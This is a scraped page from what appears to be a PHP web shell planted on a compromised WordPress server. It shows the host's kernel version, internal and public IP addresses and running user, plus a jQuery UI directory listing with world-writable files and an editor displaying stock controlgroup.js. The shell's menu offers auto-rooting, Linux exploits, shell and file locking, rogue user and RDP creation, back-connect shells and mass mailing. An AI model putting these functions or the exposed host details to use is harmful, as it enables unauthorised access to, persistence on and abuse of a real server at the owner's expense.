Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.220.42.22
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ru-website /
wp-includes /
js /
jquery /
ui /
[ HOME SHELL ]
Name
Size
Permission
Action
accordion.js
15.49
KB
-rwxrwxrwx
accordion.min.js
8.46
KB
-rwxrwxrwx
autocomplete.js
17.19
KB
-rwxrwxrwx
autocomplete.min.js
8.34
KB
-rwxrwxrwx
button.js
9.74
KB
-rwxrwxrwx
button.min.js
5.44
KB
-rwxrwxrwx
checkboxradio.js
7.33
KB
-rwxrwxrwx
checkboxradio.min.js
4.27
KB
-rwxrwxrwx
controlgroup.js
8.36
KB
-rwxrwxrwx
controlgroup.min.js
4.26
KB
-rwxrwxrwx
core.js
47.81
KB
-rwxrwxrwx
core.min.js
20.3
KB
-rwxrwxrwx
datepicker.js
78.88
KB
-rwxrwxrwx
datepicker.min.js
35.3
KB
-rwxrwxrwx
dialog.js
22.51
KB
-rwxrwxrwx
dialog.min.js
12.48
KB
-rwxrwxrwx
draggable.js
34.51
KB
-rwxrwxrwx
draggable.min.js
17.86
KB
-rwxrwxrwx
droppable.js
12.52
KB
-rwxrwxrwx
droppable.min.js
6.43
KB
-rwxrwxrwx
effect-blind.js
1.55
KB
-rwxrwxrwx
effect-blind.min.js
838
B
-rwxrwxrwx
effect-bounce.js
2.55
KB
-rwxrwxrwx
effect-bounce.min.js
949
B
-rwxrwxrwx
effect-clip.js
1.49
KB
-rwxrwxrwx
effect-clip.min.js
754
B
-rwxrwxrwx
effect-drop.js
1.51
KB
-rwxrwxrwx
effect-drop.min.js
709
B
-rwxrwxrwx
effect-explode.js
2.81
KB
-rwxrwxrwx
effect-explode.min.js
1.05
KB
-rwxrwxrwx
effect-fade.js
916
B
-rwxrwxrwx
effect-fade.min.js
483
B
-rwxrwxrwx
effect-fold.js
2.08
KB
-rwxrwxrwx
effect-fold.min.js
978
B
-rwxrwxrwx
effect-highlight.js
1.16
KB
-rwxrwxrwx
effect-highlight.min.js
606
B
-rwxrwxrwx
effect-puff.js
943
B
-rwxrwxrwx
effect-puff.min.js
468
B
-rwxrwxrwx
effect-pulsate.js
1.48
KB
-rwxrwxrwx
effect-pulsate.min.js
646
B
-rwxrwxrwx
effect-scale.js
1.29
KB
-rwxrwxrwx
effect-scale.min.js
681
B
-rwxrwxrwx
effect-shake.js
1.79
KB
-rwxrwxrwx
effect-shake.min.js
804
B
-rwxrwxrwx
effect-size.js
5.19
KB
-rwxrwxrwx
effect-size.min.js
2.35
KB
-rwxrwxrwx
effect-slide.js
1.87
KB
-rwxrwxrwx
effect-slide.min.js
875
B
-rwxrwxrwx
effect-transfer.js
836
B
-rwxrwxrwx
effect-transfer.min.js
400
B
-rwxrwxrwx
effect.js
39.89
KB
-rwxrwxrwx
effect.min.js
16.52
KB
-rwxrwxrwx
menu.js
17.36
KB
-rwxrwxrwx
menu.min.js
9.31
KB
-rwxrwxrwx
mouse.js
5.98
KB
-rwxrwxrwx
mouse.min.js
3.3
KB
-rwxrwxrwx
progressbar.js
4.1
KB
-rwxrwxrwx
progressbar.min.js
2.46
KB
-rwxrwxrwx
resizable.js
29.22
KB
-rwxrwxrwx
resizable.min.js
18.04
KB
-rwxrwxrwx
selectable.js
7.88
KB
-rwxrwxrwx
selectable.min.js
4.35
KB
-rwxrwxrwx
selectmenu.js
15.68
KB
-rwxrwxrwx
selectmenu.min.js
9.08
KB
-rwxrwxrwx
slider.js
19.06
KB
-rwxrwxrwx
slider.min.js
10.46
KB
-rwxrwxrwx
sortable.js
44.95
KB
-rwxrwxrwx
sortable.min.js
24.2
KB
-rwxrwxrwx
spinner.js
13.85
KB
-rwxrwxrwx
spinner.min.js
7.36
KB
-rwxrwxrwx
tabs.js
23
KB
-rwxrwxrwx
tabs.min.js
11.64
KB
-rwxrwxrwx
tooltip.js
13.95
KB
-rwxrwxrwx
tooltip.min.js
5.95
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : controlgroup.js
/*! * jQuery UI Controlgroup 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Controlgroup //>>group: Widgets //>>description: Visually groups form control widgets //>>docs: http://api.jqueryui.com/controlgroup/ //>>demos: http://jqueryui.com/controlgroup/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/controlgroup.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } }( function( $ ) { var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g; return $.widget( "ui.controlgroup", { version: "1.12.1", defaultElement: "<div>", options: { direction: "horizontal", disabled: null, onlyVisible: true, items: { "button": "input[type=button], input[type=submit], input[type=reset], button, a", "controlgroupLabel": ".ui-controlgroup-label", "checkboxradio": "input[type='checkbox'], input[type='radio']", "selectmenu": "select", "spinner": ".ui-spinner-input" } }, _create: function() { this._enhance(); }, // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation _enhance: function() { this.element.attr( "role", "toolbar" ); this.refresh(); }, _destroy: function() { this._callChildMethod( "destroy" ); this.childWidgets.removeData( "ui-controlgroup-data" ); this.element.removeAttr( "role" ); if ( this.options.items.controlgroupLabel ) { this.element .find( this.options.items.controlgroupLabel ) .find( ".ui-controlgroup-label-contents" ) .contents().unwrap(); } }, _initWidgets: function() { var that = this, childWidgets = []; // First we iterate over each of the items options $.each( this.options.items, function( widget, selector ) { var labels; var options = {}; // Make sure the widget has a selector set if ( !selector ) { return; } if ( widget === "controlgroupLabel" ) { labels = that.element.find( selector ); labels.each( function() { var element = $( this ); if ( element.children( ".ui-controlgroup-label-contents" ).length ) { return; } element.contents() .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" ); } ); that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" ); childWidgets = childWidgets.concat( labels.get() ); return; } // Make sure the widget actually exists if ( !$.fn[ widget ] ) { return; } // We assume everything is in the middle to start because we can't determine // first / last elements until all enhancments are done. if ( that[ "_" + widget + "Options" ] ) { options = that[ "_" + widget + "Options" ]( "middle" ); } else { options = { classes: {} }; } // Find instances of this widget inside controlgroup and init them that.element .find( selector ) .each( function() { var element = $( this ); var instance = element[ widget ]( "instance" ); // We need to clone the default options for this type of widget to avoid // polluting the variable options which has a wider scope than a single widget. var instanceOptions = $.widget.extend( {}, options ); // If the button is the child of a spinner ignore it // TODO: Find a more generic solution if ( widget === "button" && element.parent( ".ui-spinner" ).length ) { return; } // Create the widget if it doesn't exist if ( !instance ) { instance = element[ widget ]()[ widget ]( "instance" ); } if ( instance ) { instanceOptions.classes = that._resolveClassesValues( instanceOptions.classes, instance ); } element[ widget ]( instanceOptions ); // Store an instance of the controlgroup to be able to reference // from the outermost element for changing options and refresh var widgetElement = element[ widget ]( "widget" ); $.data( widgetElement[ 0 ], "ui-controlgroup-data", instance ? instance : element[ widget ]( "instance" ) ); childWidgets.push( widgetElement[ 0 ] ); } ); } ); this.childWidgets = $( $.unique( childWidgets ) ); this._addClass( this.childWidgets, "ui-controlgroup-item" ); }, _callChildMethod: function( method ) { this.childWidgets.each( function() { var element = $( this ), data = element.data( "ui-controlgroup-data" ); if ( data && data[ method ] ) { data[ method ](); } } ); }, _updateCornerClass: function( element, position ) { var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"; var add = this._buildSimpleOptions( position, "label" ).classes.label; this._removeClass( element, null, remove ); this._addClass( element, null, add ); }, _buildSimpleOptions: function( position, key ) { var direction = this.options.direction === "vertical"; var result = { classes: {} }; result.classes[ key ] = { "middle": "", "first": "ui-corner-" + ( direction ? "top" : "left" ), "last": "ui-corner-" + ( direction ? "bottom" : "right" ), "only": "ui-corner-all" }[ position ]; return result; }, _spinnerOptions: function( position ) { var options = this._buildSimpleOptions( position, "ui-spinner" ); options.classes[ "ui-spinner-up" ] = ""; options.classes[ "ui-spinner-down" ] = ""; return options; }, _buttonOptions: function( position ) { return this._buildSimpleOptions( position, "ui-button" ); }, _checkboxradioOptions: function( position ) { return this._buildSimpleOptions( position, "ui-checkboxradio-label" ); }, _selectmenuOptions: function( position ) { var direction = this.options.direction === "vertical"; return { width: direction ? "auto" : false, classes: { middle: { "ui-selectmenu-button-open": "", "ui-selectmenu-button-closed": "" }, first: { "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ), "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" ) }, last: { "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr", "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" ) }, only: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" } }[ position ] }; }, _resolveClassesValues: function( classes, instance ) { var result = {}; $.each( classes, function( key ) { var current = instance.options.classes[ key ] || ""; current = $.trim( current.replace( controlgroupCornerRegex, "" ) ); result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " ); } ); return result; }, _setOption: function( key, value ) { if ( key === "direction" ) { this._removeClass( "ui-controlgroup-" + this.options.direction ); } this._super( key, value ); if ( key === "disabled" ) { this._callChildMethod( value ? "disable" : "enable" ); return; } this.refresh(); }, refresh: function() { var children, that = this; this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction ); if ( this.options.direction === "horizontal" ) { this._addClass( null, "ui-helper-clearfix" ); } this._initWidgets(); children = this.childWidgets; // We filter here because we need to track all childWidgets not just the visible ones if ( this.options.onlyVisible ) { children = children.filter( ":visible" ); } if ( children.length ) { // We do this last because we need to make sure all enhancment is done // before determining first and last $.each( [ "first", "last" ], function( index, value ) { var instance = children[ value ]().data( "ui-controlgroup-data" ); if ( instance && that[ "_" + instance.widgetName + "Options" ] ) { var options = that[ "_" + instance.widgetName + "Options" ]( children.length === 1 ? "only" : value ); options.classes = that._resolveClassesValues( options.classes, instance ); instance.element[ instance.widgetName ]( options ); } else { that._updateCornerClass( children[ value ](), value ); } } ); // Finally call the refresh method on each of the child widgets. this._callChildMethod( "refresh" ); } } } ); } ) );
Close